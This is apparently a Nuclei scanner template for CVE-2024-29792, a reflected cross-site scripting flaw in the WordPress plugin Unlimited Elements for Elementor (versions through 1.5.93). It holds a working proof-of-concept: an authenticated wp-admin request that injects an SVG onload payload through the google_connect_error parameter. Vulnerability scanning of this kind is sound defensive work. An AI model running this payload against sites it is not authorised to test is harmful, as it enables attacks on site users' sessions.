Unlimited Elements For Elementor (Free Widgets, Addons, Templates) versions up to 1.5.93 contain a reflected cross-site scripting caused by improper neutralization of input during web page generation, letting attackers execute malicious scripts in the victim's browser, exploit requires attacker to craft a malicious URL.
PoC代码[已公开]
id: CVE-2024-29792
info:
name: Unlimited Elements for Elementor <= 1.5.93 - Cross Site Scripting
author: Shivam Kamboj
severity: medium
description: |
Unlimited Elements For Elementor (Free Widgets, Addons, Templates) versions up to 1.5.93 contain a reflected cross-site scripting caused by improper neutralization of input during web page generation, letting attackers execute malicious scripts in the victim's browser, exploit requires attacker to craft a malicious URL.
impact: |
Attackers can execute arbitrary scripts in the victim's browser, potentially leading to session hijacking, defacement, or redirection.
remediation: |
Update to version 1.5.94 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-29792
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/unlimited-elements-for-elementor/unlimited-elements-for-elementor-1593-reflected-cross-site-scripting
- https://plugins.trac.wordpress.org/changeset/3057553/unlimited-elements-for-elementor
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-29792
epss-score: 0.13022
epss-percentile: 0.93857
cwe-id: CWE-79
metadata:
verified: true
max-request: 2
publicwww-query: "/wp-content/plugins/unlimited-elements-for-elementor"
tags: cve,cve2024,wordpress,wp,wp-plugin,xss,unlimited-elements-for-elementor,authenticated,vkev
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, 'wordpress_logged_in')
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=unlimitedelements&view=settingselementor&google_connect_error=%22%3E%3Csvg%20onload%3Dalert%28document.domain%29%3E HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(content_type, "text/html")
- contains_all(body, '<svg onload=alert(document.domain)>', 'unlimited-elements-for-elementor')
condition: and
# digest: 4b0a00483046022100a785a7a7e8ac9bd86c944855cbd9fb9b25e812e1248f683c4c14b64febeb8c6102210092db7e1903a6f4b99d76d548b9ef2f53137e2ae650a358beabaeefa8ec6b8fb8:922c64590222798bb761d5b6d8e72950